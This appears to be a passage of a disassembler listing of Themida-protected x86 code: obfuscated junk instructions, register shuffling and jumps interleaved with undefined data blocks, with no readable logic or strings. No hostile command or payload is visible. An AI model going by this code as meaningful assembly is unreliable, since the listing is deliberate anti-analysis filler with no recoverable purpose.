0FFFF2A2Eh, 1C87D3F7h, 0FD055824h, 19E3820h dd 9928E9C2h, 8B66FFFFh, 3AE9240Ch, 81FFFFF2h, 0C82C05EEh dd 81DE0141h, 0C82C05C6h, 14E95B41h, 68FFFF4Eh, 133Dh dd 0E9240489h, 384h, 3250E950h, 0E6D10000h, 0FF6A20E9h dd 0B85055FFh, 42F9523Eh, 0C158C589h, 0E95006EDh, 0FFFFF91Fh ; --------------------------------------------------------------------------- loc_5634D4: ; CODE XREF: Themida_:00552DCAj add edx, 4 add edx, 4 xchg edx, [esp] jmp loc_559605 ; --------------------------------------------------------------------------- loc_5634E5: ; CODE XREF: Themida_:00566EDCj sub eax, 75A40241h pop esi add eax, 4 xchg eax, [esp] jmp loc_55980B ; --------------------------------------------------------------------------- dw 52ADh dd 0FFAB0AE9h, 8DE95AFFh, 81FFFF11h, 83666FC7h, 3C4BE956h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56350E: ; CODE XREF: Themida_:00555B99j add eax, edi pop edi sub edx, eax pop eax jmp loc_55CC71 ; --------------------------------------------------------------------------- align 2 dw 66EBh dd 51240C8Bh, 0C181E189h, 4, 2BD55h, 0E9010000h, 108DE95Dh dd 248BFFFFh, 242C8924h, 8904EC83h, 8E9241Ch, 5EFFFF47h dd 4B850h, 0C3010000h, 241C8758h, 3124248Bh, 2434FFEFh dd 4C4815Dh, 0E9000000h, 0FFFFCBD1h, 0C1E9D801h db 97h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56356F: ; CODE XREF: Themida_:00559229j mov ecx, [esp] add esp, 4 add esi, edx pop edx push ebx mov ebx, 109748FBh push 5EB6h mov [esp], edx mov edx, 303B76EBh and ebx, edx pop edx add ebx, 763C0645h inc ebx push ebp mov ebp, 578269Ch jmp loc_561B4F ; --------------------------------------------------------------------------- db 56h dd 0C681E689h, 4, 43AE955h, 0E289FFFFh, 4C281h, 0C2830000h dd 24148704h, 4669685Ch, 0ABE90000h db 0DEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5635CB: ; CODE XREF: Themida_:00563798j push ebp mov ebp, 11502035h jmp loc_5603F9 ; --------------------------------------------------------------------------- dw 0E1C1h dd 0B9BE5608h, 0F75CF948h, 0DBBA52DEh, 908E71Fh, 0EF20E9D6h dd 34FFFFFFh, 242C8B24h, 0FFA8A0E9h, 4C481FFh, 81000000h dd 4C3h, 4EB8100h, 87000000h, 545C241Ch, 0FFF6BAE9h, 0E9525FFFh dd 177Ch, 4B8h, 8BC30100h, 0C4832404h, 0F8E95304h db 0B5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56362F: ; CODE XREF: Themida_:005573BAj or ah, 81h sub ah, 1Ch or cl, ah pop eax inc cl inc cl dec cl jmp loc_5655B3 ; --------------------------------------------------------------------------- db 89h dd 4C281E2h, 83000000h, 148704EAh, 24248B24h, 0BE243489h dd 79861394h, 0FE3B951h, 0E9C10CD0h, 14F18104h, 81620A37h dd 2BDE73C1h, 0FE6CE9B0h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_563676: ; CODE XREF: Themida_:00560F45j add edi, 4 add edi, 4 xchg edi, [esp] pop esp jmp loc_563318 ; --------------------------------------------------------------------------- aIcs db 'ηιΌ!',0 db 0 ; --------------------------------------------------------------------------- loc_56368F: ; CODE XREF: Themida_:00555472j sub esp, 4 mov [esp], eax mov eax, 22C65877h add esi, eax mov eax, [esp] add esp, 4 add esi, 4C4E4F6Ch or edx, esi pop esi xor edx, ecx xor ecx, edx xor edx, ecx xchg edi, ecx not edi push ecx jmp loc_566D80 ; --------------------------------------------------------------------------- db 83h dd 0C8904ECh, 88C18824h, 48B59CFh, 0C9B7E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5636CE: ; CODE XREF: Themida_:00561162j add ebx, 4 sub esp, 4 jmp loc_556A00 ; --------------------------------------------------------------------------- dd offset dword_46713C+25E2Ch align 4 dd 0FFB9F4E9h, 243C89FFh, 4EE9E789h, 0B9FFFFC4h, 699444D4h dd 8105E1C1h, 0A3DE18F1h, 79C3817Fh, 29080123h, 79BE56CBh dd 29080123h, 51595EF3h, 0FF7956E9h, 0F5815FFFh, 47B902CDh dd 0F0774D05h, 0D7CCE96Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56372A: ; CODE XREF: Themida_:00555407j mov ebp, 28551AFBh shl ebp, 8 jmp loc_55B01F ; --------------------------------------------------------------------------- loc_563737: ; CODE XREF: Themida_:00557461j mov ebx, [esp] push ebx mov ebx, esp add ebx, 4 jmp loc_553051 ; --------------------------------------------------------------------------- loc_563748: ; CODE XREF: Themida_:00565113j mov ah, dl mov bl, ah pop eax jmp loc_55F01B ; --------------------------------------------------------------------------- dw 0C483h dd 66C33104h, 1AE9008Fh db 0EEh, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_56375F: ; CODE XREF: Themida_:00558731j mov esi, [esp] add esp, 4 add esp, 4 and eax, ebx pop ebx or eax, eax jz loc_565CC3 push dword ptr [edi+1Ch] mov ecx, [esp] push edx mov edx, esp jmp loc_5588DF ; --------------------------------------------------------------------------- loc_563784: ; CODE XREF: Themida_:00552C90j add esi, edx push dword ptr [esp] pop edx jmp loc_55D5BE ; --------------------------------------------------------------------------- loc_56378F: ; CODE XREF: Themida_:0055CEF5j push ebx jmp loc_56508A ; --------------------------------------------------------------------------- loc_563795: ; CODE XREF: Themida_:00553D75j mov esp, [esp] jmp loc_5635CB ; --------------------------------------------------------------------------- loc_56379D: ; CODE XREF: Themida_:0055FA87j sub esi, 0C6D67E8h add esi, edx add esi, 0C6D67E8h pop edx mov edx, esi pop esi sub edx, ecx pop ecx jmp loc_565EBC ; --------------------------------------------------------------------------- db 89h dd 0F8BD242Ch, 1445A08h, 85685DEEh, 8900003Bh, 0B850242Ch dd 21B97270h, 2D802D48h, 0E8C178D8h, 1F9FE908h, 902DFFFFh dd 5279D64h, 20A5090h, 19586A2Dh, 5C8292Dh, 2D19586Ah dd 43FFBE56h, 0E6D1657Dh, 0C892C681h, 0E7E9370Fh, 29FFFF9Ah dd 8B08247Ch, 0C481243Ch, 4, 0FFF992E9h, 155E68FFh, 1C890000h dd 1604BB24h, 1FB85F09h, 298A9837h, 241C8BD8h, 0E9E28952h dd 0FFFF695Bh, 230C34B8h, 0F6A1350Ah, 3AE94A4Ch, 5BFFFFEFh dd 0FF64DCE9h, 5CF680FFh, 0F028012Ch, 80BCB652h, 6EE945C6h dd 64FFFF2Bh, 0D9E9028Fh db 0Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_563867: ; CODE XREF: Themida_:0055A7ADj push ebx mov ebx, 15781781h add edi, ebx pop ebx inc edi xor edi, 1F573B28h sub dword ptr [esp+4], 23843D68h push esi mov esi, 28DA0E9Eh jmp loc_5595EE ; --------------------------------------------------------------------------- dw 8B54h dd 5E9242Ch db 3Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_563893: ; CODE XREF: Themida_:005665C2j sub ecx, 4C696A12h dec ecx shr ecx, 2 jmp loc_55D123 ; --------------------------------------------------------------------------- dw 6856h dd 0AD83AADh, 0FF6A40E9h, 64D7BAFFh, 0A0E9655Ah, 8B00001Fh dd 4092424h, 0B6E99C24h, 0C0FFFEECh, 0CBFE07EBh, 46FEB80h dd 2CD8004Dh, 0C4A6E94Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5638D6: ; CODE XREF: Themida_:0056057Aj pop edx push ebp mov ebp, 5525451Eh jmp loc_55DD4D ; --------------------------------------------------------------------------- dw 0C301h dd 5FBF5758h, 293E3F71h, 0C3295FFBh, 0CF685057h, 581BB175h dd 0C1779525h, 0B34FE92Eh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_563902: ; CODE XREF: Themida_:00565FA2j push esi push eax jmp loc_56448C ; --------------------------------------------------------------------------- loc_563909: ; CODE XREF: Themida_:00553BD9j shl ebx, 2 push edi mov edi, 365F3C8Fh not edi inc edi and edi, 0AB5E8Ah jmp loc_552782 ; --------------------------------------------------------------------------- loc_563920: ; CODE XREF: Themida_:00559E09j shr edi, 5 jmp loc_553E51 ; --------------------------------------------------------------------------- dd 3FFDCB81h, 0DEE9244Eh, 55FFFFDFh, 42474FFh, 24048F5Dh dd 0E289525Ch, 0FF8CA5E9h, 4EC83FFh, 0B2241489h, 0F6EA86B2h dd 52EA86D5h, 5A2404FEh, 0E9B1C280h, 0FFFFE4E1h, 0A5330805h dd 2DE8011Fh, 1FA53308h, 2404875Dh, 0FF66DEE9h, 241C87FFh dd 2414895Ch, 793B68h, 24048900h, 8C9E9h, 41EF8100h, 8162DA64h dd 476385EFh, 5FFA01D9h, 6BBB5357h, 0E93DD627h, 0FFFFED61h ; --------------------------------------------------------------------------- loc_5639A4: ; CODE XREF: Themida_:0055986Bj sub eax, ebp push esi push ebx mov ebx, 71BE138Eh mov esi, ebx pop ebx add eax, esi pop esi add eax, 24692D8Fh pop ebp push edx push esp mov edx, [esp] add esp, 4 push 526Dh mov [esp], ebx jmp loc_55CE98 ; --------------------------------------------------------------------------- dw 248Bh dd 0FA98E924h, 555BFFFEh, 7D5FFEBDh, 0A112E922h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5639E2: ; CODE XREF: Themida_:005623CFj not ch push ebx push edx mov dl, ch mov bl, dl jmp loc_55E9D7 ; --------------------------------------------------------------------------- db 51h dd 64685056h, 581F6E12h, 0F50E940h, 2C68FFFFh, 0E9000046h dd 0FFFFA843h ; --------------------------------------------------------------------------- loc_563A08: ; CODE XREF: Themida_:005627A5j inc esi sub esi, 78E2101Bh xor esi, 3004B58Fh add edi, esi pop esi xchg edi, [esp] pop esp jmp loc_5596E8 ; --------------------------------------------------------------------------- db 80h, 0F2h, 1 dd 34FFD030h, 24148B24h, 8304C483h, 3C8904ECh, 9EE95424h dd 89FFFEF2h, 67BB53E1h, 81482A18h, 9A429FEBh, 4B5DE91Ch dd 5066FFFFh, 0EB23E99Ch db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_563A56: ; CODE XREF: Themida_:00564BD7j pop ecx jmp loc_5672FE ; --------------------------------------------------------------------------- dd 465BDE01h, 1568EED1h, 89000039h, 86682414h, 89000052h dd 0AAE9241Ch, 0BFFFFEEFh, 2, 0E95FFE29h, 0FFFF104Dh, 525BDE09h dd 0FF325CE9h, 885366FFh, 88D488E3h, 805B66DAh, 885340C2h dd 5BF988D7h, 8324148Bh, 1C8904ECh, 81E38924h, 4C3h, 4C38100h dd 87000000h, 85E9241Ch, 1Ch, 5DB151E8h, 20A6B652h, 0E9C05AF1h dd 0BE5E908h, 0C5810000h, 4, 0E904EC83h, 0FFFF0A68h ; --------------------------------------------------------------------------- loc_563AE0: ; CODE XREF: Themida_:0055E589j add ebx, 0FFFFFFFFh push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] jmp loc_558638 ; --------------------------------------------------------------------------- db 52h, 50h, 0E9h dd 0FFFF22E2h, 8124048Bh, 4C4h, 0E3895300h, 4C381h, 0C3810000h dd 4, 5C241C87h, 0E9241433h, 0FFFFB454h ; --------------------------------------------------------------------------- loc_563B28: ; CODE XREF: Themida_:0055C1DEj or dl, 28h jmp loc_561324 ; --------------------------------------------------------------------------- loc_563B30: ; CODE XREF: Themida_:00564C8Ej sub ebx, 71EC5A7Bh shr ebx, 5 sub ebx, 6CDF673Eh shr ebx, 4 shl ebx, 1 sub ebx, 0BDDEC7C4h and eax, ebx pop ebx xor eax, 44421408h add edx, eax mov eax, [esp] add esp, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] pop esp sub esp, 4 mov [esp], ebx mov bl, 1Fh inc bl push ecx mov ch, 0BAh xor bl, ch pop ecx dec bl shr bl, 2 sub bl, 4Ch push 5BC7h mov [esp], ecx push edx push eax mov al, 26h mov dh, 24h sub dh, al pop eax jmp loc_5646FD ; --------------------------------------------------------------------------- db 0F7h, 0D8h, 0C1h dd 783506E8h, 52ECCAB3h, 0D689C289h, 0FFCAACE9h db 0FFh ; --------------------------------------------------------------------------- loc_563BA9: ; CODE XREF: Themida_:0055A5E7j push edi push edx mov edx, 72FC15F4h push esi mov esi, 3AA0518Ch not esi add esi, 9113C178h jmp loc_56200C ; --------------------------------------------------------------------------- loc_563BC3: ; CODE XREF: Themida_:00567569j add eax, 4 jmp loc_560D94 ; --------------------------------------------------------------------------- db 0FFh dd 48B2434h, 0E6895624h, 4C681h, 0C6830000h, 24348704h dd 0FF3A7FE9h, 20E95CFFh, 0E9FFFFBAh, 0FFFEE989h, 1F49A8BBh dd 0E172BD15h, 34E9F3B0h db 0AEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_563BFF: ; CODE XREF: Themida_:0056640Dj mov esi, [esp] add esp, 4 jmp loc_55D6AF ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 98F8E95Fh, 6C68FFFFh, 8900001Dh, 4832424h, 48F0424h dd 4EC8324h, 0FFE4CFE9h, 2833B1FFh, 525059CBh, 0FEFA48E9h dd 5FF829FFh, 0B270DD2Dh, 61C8E930h, 6853FFFFh, 6BC6h dd 0B4240489h, 0ECB2527Ah, 22E9E7B7h, 89FFFF41h, 4F68243Ch dd 8900007Bh, 0A0682434h, 89000060h, 7DBD242Ch, 890E0B05h dd 0F7895DEEh, 0FF7164E9h db 0FFh ; --------------------------------------------------------------------------- loc_563C7D: ; CODE XREF: Themida_:00553B3Cj add ebx, eax add ebx, 44454518h mov eax, [esp] jmp loc_5546DC ; --------------------------------------------------------------------------- db 29h, 4, 24h dd 0F319E99Ch db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_563C96: ; CODE XREF: Themida_:0055DAA6j add edi, 4 jmp loc_55EDB3 ; --------------------------------------------------------------------------- db 29h, 0F0h, 5Eh aQsp db 'QιP;',0 align 2 loc_563CAA: ; CODE XREF: Themida_:0055DEBEj mov edi, 4 jmp loc_55801D ; --------------------------------------------------------------------------- dd 211B04BDh, 8BE8318Fh, 0C481242Ch, 4, 7FB4C681h, 0C6296CFBh dd 7FB4EE81h, 87586CFBh, 248B2434h, 24348924h, 0D390E954h dd 0C181FFFFh, 4, 2D7DE953h, 0EC83FFFFh, 240C8904h, 236A30B9h dd 0B5E95513h, 31FFFF5Fh, 0F1815BD9h, 9B571122h, 6FF3C581h dd 0CD01519Bh, 6FF3ED81h, 0B0E9519Bh, 68FFFF5Ch, 5585195Ah dd 5124148Bh, 55E9h, 52BDBA00h, 95E96C4Dh, 6800003Dh, 3AD2h dd 0BE243489h, 4, 0D6E9F001h, 1FFFF03h, 2EC281FAh, 5F22F755h dd 128AE981h, 0D1011150h, 4887BF57h, 0F7813ADCh, 2B8C5A0Dh dd 5A5FF901h, 0E904EC83h, 402Ah, 3FC8E681h, 0D6F77DD3h dd 0D49FE946h, 0EC81FFFFh, 4, 83242489h, 59042404h, 4C181h dd 0C1810000h, 4, 5C240C87h, 148BD601h, 4C48324h, 613ECE81h dd 0EEC11462h, 5EEC106h, 1363E9h db 0 ; --------------------------------------------------------------------------- loc_563DB5: ; CODE XREF: Themida_:0056067Dj pop eax push 1631h mov [esp], esi jmp loc_565712 ; --------------------------------------------------------------------------- db 66h dd 5E66F729h, 31665E66h, 0E812E9FBh, 8F5DFFFEh, 665C2404h dd 9C242CD3h, 0FEE798E9h db 0FFh ; --------------------------------------------------------------------------- loc_563DE1: ; CODE XREF: Themida_:0055770Fj mov [esp], ebp jmp loc_55C710 ; --------------------------------------------------------------------------- db 55h, 0BDh, 30h dd 8114D73Fh, 687D0BC5h, 82F58150h, 2960FBDDh, 0EF815DEFh dd 36900ACEh, 242C8157h, 1AAD4A05h, 5C2815Ah, 8B1AAD4Ah dd 0C481243Ch, 4, 0FEFC0AE9h db 0FFh ; --------------------------------------------------------------------------- loc_563E21: ; CODE XREF: Themida_:00561E2Ej xor [esp], ecx mov eax, [esp] jmp loc_567230 ; --------------------------------------------------------------------------- loc_563E2C: ; CODE XREF: Themida_:005556B1j push ebx push 25292C04h mov ebx, [esp] add esp, 4 shl ebx, 4 sub ebx, 78A672D7h shr ebx, 2 add ebx, 0FC75ED4Ch jmp loc_55D4B0 ; --------------------------------------------------------------------------- dw 1489h dd 0EC92E924h, 1AE9FFFEh, 5CFFFEE7h, 5E5AC381h, 0EB0167EFh dd 5E5AEB81h, 875D67EFh, 665C241Ch, 8324048Bh, 1C8904ECh dd 1CCF6824h, 24890000h, 24048124h, 4, 81241C8Bh, 4C4h dd 4C38100h, 68000000h, 0E28h, 57241489h, 0E91826BFh, 47D7F75Bh dd 1828C781h, 81575BE9h, 3D872404h, 815A5484h, 843D87EAh dd 243C8B54h, 5585450h, 4, 4B951h, 0C8010000h, 2BE2E959h db 2 dup(0) ; --------------------------------------------------------------------------- loc_563EDA: ; CODE XREF: Themida_:00567D95j mov bl, al jmp loc_55FAB5 ; --------------------------------------------------------------------------- db 5Ah, 8Bh, 1Ch dd 4C48124h, 80000000h, 7FE9FFC4h db 0D7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_563EF3: ; CODE XREF: Themida_:0055DC57j push ecx mov ecx, 2ED0223Bh jmp loc_561BC8 ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub esp, 4 mov [esp], edi jmp loc_5539F6 ; --------------------------------------------------------------------------- loc_563F15: ; CODE XREF: Themida_:005529E5j xor edi, ebp pop ebp jmp loc_55CA81 ; --------------------------------------------------------------------------- loc_563F1D: ; CODE XREF: Themida_:005623BDj add esp, 4 push eax jmp loc_55E419 ; --------------------------------------------------------------------------- loc_563F26: ; CODE XREF: Themida_:00567D4Cj mov edx, eax pop eax not edx add edx, 831A7F92h xor ecx, edx push dword ptr [esp] pop edx jmp loc_556B49 ; --------------------------------------------------------------------------- loc_563F3C: ; CODE XREF: Themida_:005647D5j add [esp+4], ebx sub dword ptr [esp+4], 1FE163BEh mov ebx, [esp] add esp, 4 mov edx, [esp] push ecx mov ecx, esp push ebp mov ebp, 3F2B31FFh dec ebp add ebp, 0C0D4CE06h add ecx, ebp pop ebp add ecx, 4 jmp loc_55E80E ; --------------------------------------------------------------------------- loc_563F6C: ; CODE XREF: Themida_:0055E69Ej mov edx, ebx mov ebx, [esp] add esp, 4 push ebx push eax push edi push 79063243h pop edi sub edi, 0B875F8D3h mov eax, edi jmp loc_55E8DA ; --------------------------------------------------------------------------- loc_563F8D: ; CODE XREF: Themida_:00565D48j pop edi add ebx, edi mov dword ptr [ebx], 1 pop ebx push ebx push 4C152A87h pop ebx push ebx dec dword ptr [esp] jmp loc_565370 ; --------------------------------------------------------------------------- db 1 dd 2434FFF0h, 4C4835Eh, 0B985E951h, 0EF01FFFFh, 243C875Dh dd 5124248Bh, 7EB15152h, 0CA001DB2h, 0FFD58859h, 0FFE92434h dd 1FFFF97h, 7E7AE9E9h, 34FFFFFFh, 241C8B24h, 4C481h, 0C4810000h dd 4, 53E168h, 241C8900h, 241C8B54h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_55F8D1 ; --------------------------------------------------------------------------- dw 5E58h dd 7B4AEA81h, 0C2014A4Fh, 7B4AC281h, 0E9584A4Fh, 0FFFFCBF8h dd 73242C81h, 535E8E04h, 0FEFD19E9h, 4BAFFh, 54010000h dd 0A5E90424h db 6Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564037: ; CODE XREF: Themida_:00555B87j mov [esp], ecx mov ecx, 1B840474h xor [esp+4], ecx push dword ptr [esp] pop ecx push ebx jmp loc_552D37 ; --------------------------------------------------------------------------- loc_56404D: ; CODE XREF: Themida_:00554AAFj inc dl add dl, 5Bh add bl, dl pop dx add al, bl mov bx, [esp] push 1863h mov [esp], ecx mov ecx, esp add ecx, 4 add ecx, 2 xchg ecx, [esp] pop esp sub bl, 51h sub bl, 0DBh sub bl, 0C7h sub bl, al push eax mov ah, 0C7h add bl, ah mov eax, [esp] add esp, 4 push ecx mov ch, 0E9h shl ch, 4 dec ch push small 1FF7h jmp loc_55F72D ; --------------------------------------------------------------------------- loc_56409A: ; CODE XREF: Themida_:00559AAAj pop eax add edi, 4 xor edi, [esp] xor [esp], edi jmp loc_55AF22 ; --------------------------------------------------------------------------- dd 0E924048Fh, 39F9h, 1E8ABA52h, 0D3011F68h, 0E9CB295Ah dd 0FFFF8138h, 7252BE56h, 0C7812E36h, 604E20B1h, 0BD55F729h dd 2B324C9Dh, 0FFB6C5E9h, 0E9CFB1FFh, 0FFFF8DADh ; --------------------------------------------------------------------------- loc_5640E4: ; CODE XREF: Themida_:00554317j mov ebp, 53B185B2h add ecx, ebp pop ebp mov edx, ecx mov ecx, [esp] add esp, 4 or edx, 1C36B48h or edx, 7E873DEh shr edx, 4 jmp loc_566123 ; --------------------------------------------------------------------------- db 55h dd 0FFB9D0E9h db 0FFh ; --------------------------------------------------------------------------- loc_564111: ; CODE XREF: Themida_:005641A0j add edi, 4 jmp loc_55AB46 ; --------------------------------------------------------------------------- loc_56411C: ; CODE XREF: Themida_:0055FADCj push esp pop edx add edx, 4 sub edx, 4 push edx jmp loc_562F50 ; --------------------------------------------------------------------------- dd 8904EC83h, 87BD242Ch, 0E9072431h, 0FFFF9F77h ; --------------------------------------------------------------------------- loc_564140: ; CODE XREF: Themida_:00559E6Bj or bl, 25h dec bl sub bl, 1 sub bl, 0Ch shr bl, 4 push 3FC1h mov [esp], ecx push eax push dx mov dl, 57h mov ah, dl pop dx or ah, 0BFh or ah, 9Fh neg ah sub ah, 0F2h dec ah sub ah, 15h push edx mov dl, ah mov cl, dl pop edx pop eax jmp loc_562057 ; --------------------------------------------------------------------------- db 81h dd 6B7DC7EBh, 1AA8E953h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564186: ; CODE XREF: Themida_:005586A1j push ebp mov ebp, 4 add edx, ebp pop ebp sub edx, 4 xchg edx, [esp] pop esp mov [esp], edi push esp mov edi, [esp] add esp, 4 jmp loc_564111 ; --------------------------------------------------------------------------- db 52h, 68h, 48h dd 5A0B533Ch, 1EA81h, 0EAD10000h, 0CEF9B850h, 0C201059Eh dd 53E95258h db 0EDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5641C3: ; CODE XREF: Themida_:0056679Ej push edi jmp loc_557C1D ; --------------------------------------------------------------------------- db 81h, 0ECh, 4 dd 89000000h, 0F9682404h, 89000023h, 6857241Ch, 26484EE4h dd 0A91EE95Fh, 0DB2DFFFFh, 0E939DC3Dh, 0FFFFD652h, 245C0158h dd 241C8B04h, 68C568h, 242C8900h, 0BB53E589h, 596B0961h dd 0FEEAE5E9h, 242C33FFh, 0E924248Bh, 0FFFFB9B1h ; --------------------------------------------------------------------------- loc_564218: ; CODE XREF: Themida_:00564C14j pop ebx jmp loc_55B472 ; --------------------------------------------------------------------------- dw 5E5Fh dd 4244401h, 0EAE95858h db 2, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56422B: ; CODE XREF: Themida_:005533E6j dec edi add edi, 608725C5h inc edi shr edi, 3 shl edi, 8 add edi, 5B538EBCh sub esi, edi pop edi jmp loc_559A09 ; --------------------------------------------------------------------------- loc_564247: ; CODE XREF: Themida_:00565F7Dj push dword ptr [esp] pop ebp push edx push esp jmp loc_565E65 ; --------------------------------------------------------------------------- dw 26B4h dd 0FE92CC80h, 0B0B252CCh, 68h, 24142800h, 8324148Ah, 0DAF604C4h dd 8C7F280h, 0B2525AD4h, 0F6CA805Fh, 5212B151h, 0AE984B6h dd 0FF000025h, 93E92434h, 81FFFF60h, 4175FAC6h, 68DE0103h dd 32D4h, 0FF6188E9h db 0FFh ; --------------------------------------------------------------------------- loc_56429D: ; CODE XREF: Themida_:005548F3j mov ebp, esp add ebp, 4 push edx push edi jmp loc_564535 ; --------------------------------------------------------------------------- loc_5642AC: ; CODE XREF: Themida_:0055F47Ej add eax, 0DAC690F5h jmp loc_561ACF ; --------------------------------------------------------------------------- dw 592Dh dd 0E9565808h, 0FFFF3D33h, 3017E950h, 0C483FFFFh, 0E2895204h dd 4C281h, 0B8500000h, 4, 34FFC201h, 0C4835824h, 24148704h dd 1968515Ch, 0E9000034h, 0FFFF747Ah, 24148B5Dh, 34FF5456h dd 9BE95E24h db 37h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5642FF: ; CODE XREF: Themida_:00564704j xor bl, cl xor cl, bl not bl xor cl, bl xor bl, cl xor cl, bl jmp loc_556701 ; --------------------------------------------------------------------------- dd 582434FFh, 8304C483h, 71E904ECh, 0B0FFFF5Fh, 58C63083h dd 16E9F000h, 31FFFF7Bh, 0F5CFE9FBh, 505AFFFEh, 0B16A52B8h dd 0A3E9520Ch db 8Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56433F: ; CODE XREF: Themida_:00565885j push ecx mov ecx, 12EC7339h jmp loc_557375 ; --------------------------------------------------------------------------- dw 0D901h dd 0FF8149E9h db 0FFh ; --------------------------------------------------------------------------- loc_564351: ; CODE XREF: Themida_:0055E747j pop ebx add ebp, 4 xor ebp, [esp] xor [esp], ebp jmp loc_561CB0 ; --------------------------------------------------------------------------- db 52h dd 0D02AEDBAh, 0C281427Dh, 0BE824CC2h, 67E9D089h db 0B5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564377: ; CODE XREF: Themida_:00559EDCj mov edi, eax mov eax, [esp] add esp, 4 sub ebp, edi pop edi push ecx mov ecx, 0A6ED9A2Bh add ebp, ecx jmp loc_559858 ; --------------------------------------------------------------------------- loc_564392: ; CODE XREF: Themida_:00554B63j add esp, 4 jmp loc_562756 ; --------------------------------------------------------------------------- loc_56439A: ; CODE XREF: Themida_:00554185j or ebx, eax mov eax, [esp] add esp, 4 jmp loc_555827 ; --------------------------------------------------------------------------- dw 5966h dd 0FF98EFE9h, 58C529FFh, 0FF1154E9h, 0EF581FFh, 0F71E9708h dd 5E5C1D5h, 8104EDC1h, 19929CF5h, 0FFE8896Ch, 815D2434h dd 4C4h, 6A53E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5643DE: ; CODE XREF: Themida_:00553AD4j sub edx, 52811C10h pop eax jmp loc_55FAC1 ; --------------------------------------------------------------------------- dw 0E1C1h dd 9EBB5308h, 311A9B4Eh, 0CF315BD9h, 592434FFh, 4C481h dd 0FE890000h, 19FAE95Fh, 0EB810000h, 1A94168Eh, 24148B66h dd 5B0568h, 241C8900h, 6850E389h, 4835h, 0FFADC0E9h, 243489FFh dd 0FFE914E9h, 0BA525DFFh, 2, 0E95AD701h, 0FFFF681Ch, 0FEE134E9h dd 0C1805AFFh, 59CB008Fh, 80CCEB80h, 21E933C3h, 8BFFFFEAh dd 0C7812424h, 4, 8904EC83h, 0BE562404h, 2, 12FBE9h, 240C8700h dd 74FF555Ch, 8F5D0424h, 94E92404h, 0F6FFFF11h, 0E9CDFEDDh dd 26C3h ; --------------------------------------------------------------------------- loc_56448C: ; CODE XREF: Themida_:00563904j push 69A35F4Bh pop eax shr eax, 2 shr eax, 4 xor eax, 3A583533h xor eax, 3557A31Ch mov esi, eax pop eax shl esi, 2 shr esi, 1 sub esi, 0FC40BEFh inc esi push edi mov edi, 2825112Dh sub edi, 119EB6E4h xor esi, edi mov edi, [esp] add esp, 4 mov ecx, esi pop esi xor ecx, 7D116885h not ecx xor ecx, 0E1FAA442h push esi mov esi, ecx push esi mov ebp, [esp] jmp loc_5631BD ; --------------------------------------------------------------------------- dw 0FD01h dd 81D5015Fh, 72782DEDh, 4074E965h, 0B850FFFFh, 3DDD0C53h dd 0C148E8D1h, 54006E0h, 0A6E7B5FCh, 0E958C701h, 0FFFF48C5h dd 3375C7BDh, 0ACC58120h, 3183B814h, 88E95DEEh db 0FAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56451F: ; CODE XREF: Themida_:00563193j pop edx sub esi, ecx mov ecx, [esp] add esp, 4 mov edi, esi mov esi, [esp] jmp loc_55461C ; --------------------------------------------------------------------------- loc_564535: ; CODE XREF: Themida_:005642A7j mov edi, 4 jmp loc_5571D6 ; --------------------------------------------------------------------------- loc_56453F: ; CODE XREF: Themida_:0055C448j mov [esp], edi jmp loc_559E70 ; --------------------------------------------------------------------------- loc_564547: ; CODE XREF: Themida_:0055E8E6j add edx, 1AFC6CA9h sub edx, ebx jmp loc_552848 ; --------------------------------------------------------------------------- dd 0A6685056h, 0E9170A7Bh, 0FFFFD699h, 0E63728BFh, 5EC7815Ah dd 0E95CDE2Bh, 0FFFFEE3Ch, 0D2E9D601h, 56FFFFB2h, 0C681E689h dd 4, 8704C683h, 248B2434h, 0AABF5724h, 817CF741h, 0B97934EFh dd 3EFC14Fh, 0E904EC83h, 0FFFFCF89h, 8324348Bh, 0A5E904C4h dd 80FFFFBFh, 0E328C8ECh, 5C38058h, 0EB80EB00h, 26756805h dd 45E90000h, 80FFFF61h, 0C18067E9h, 241C8B89h, 0FF3E76E9h dd 4C481FFh, 0E9000000h, 2969h, 0FFCE015Fh, 81592434h dd 4C4h, 52CE0100h, 74625EBAh, 75C68127h, 814C1210h, 460402EEh dd 81D62930h, 460402C6h, 75EE8130h, 5A4C1210h, 0E9240C8Bh dd 283Fh ; --------------------------------------------------------------------------- loc_564614: ; CODE XREF: Themida_:0056106Dj pop edi jmp loc_5571C8 ; --------------------------------------------------------------------------- dw 15Dh dd 0FF555AD5h, 5D042474h, 0FF615EE9h db 0FFh ; --------------------------------------------------------------------------- loc_564629: ; CODE XREF: Themida_:0055A3C4j mov eax, 283D0A23h mov ecx, 4EE7127Ah sub ecx, eax pop eax jmp loc_55BECD ; --------------------------------------------------------------------------- db 30h dd 0E99C2404h, 0FFFEDF35h, 2E8C158h, 0CB6ED125h, 3CE93541h dd 4E2D7BF7h, 